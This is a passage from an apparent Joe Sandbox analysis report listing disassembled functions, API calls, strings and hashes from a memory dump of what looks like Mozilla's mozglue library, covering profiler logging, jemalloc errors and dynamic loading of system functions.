Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

kernel32.dll, xrefs: 6C5B0E7D
GetProcessMitigationPolicy, xrefs: 6C5B0E9B

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

<jemalloc>, xrefs: 6C5E05FA, 6C5E060F
: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F9FDB
free.MOZGLUE(?,?), ref: 6C5F9FF0
free.MOZGLUE(?,?), ref: 6C5FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5FA0BE
free.MOZGLUE(?,?), ref: 6C5FA0D5
free.MOZGLUE(?,?), ref: 6C5FA0EB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction ID: 74aece96fda5623bc8688944c29c6a797c44acc8eec3979e0743e9e3e39b448e
Opcode Fuzzy Hash: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction Fuzzy Hash: 18617E755086419FC715CF58C88059AB3F5FFC8328F54865DE8A99B602EB32E986CFC2

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5FC842

Part of subcall function 6C5FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C61B5EB,00000000), ref: 6C5FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5FC863
std::_Facet_Register.LIBCPMT ref: 6C5FC875

Part of subcall function 6C5DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C61B636,?), ref: 6C5DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FC8BC

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction ID: 638bb263159ba921fc3deb8abe963efe96c466e93e2d62a016edb220d9f0fc37
Opcode Fuzzy Hash: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction Fuzzy Hash: 12118171B002099BCB04EFA6CCC48EE7BB5EF89354F040529E51697340DB34A909CB99

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C5EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE04F

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5EE057

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction ID: 311f705e782029e37bc71f3de8ce26da2f858949bb1ab0098b31701e244e8fef
Opcode Fuzzy Hash: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction Fuzzy Hash: D1218EB4B002189FDF04DF65DC98AEEB7B5AF89208F144428E90A97740DB75AD09CBE5

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

kernel32.dll, xrefs: 6C607557
UnmapViewOfFile2, xrefs: 6C607552

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770,-00000001,?,6C61E330,?,6C5CBDF7), ref: 6C60A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5CBDF7), ref: 6C60A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5CBDF7), ref: 6C60A7E4
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A80A

Strings

accelerator.dll, xrefs: 6C60A7BF

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction ID: 5cef88f43186b395a0e474526579395594c13a309dd8d023756b0032bba4bb40
Opcode Fuzzy Hash: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction Fuzzy Hash: D301A2707103149FDB08CF5AE8C4D5177B8FB8A395B04806AE94A9B712DB70AC00CFA9

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

RtlNtStatusToDosError, xrefs: 6C6075D1
ntdll.dll, xrefs: 6C6075B3

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

ntdll.dll, xrefs: 6C607603
NtUnmapViewOfSection, xrefs: 6C607621

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
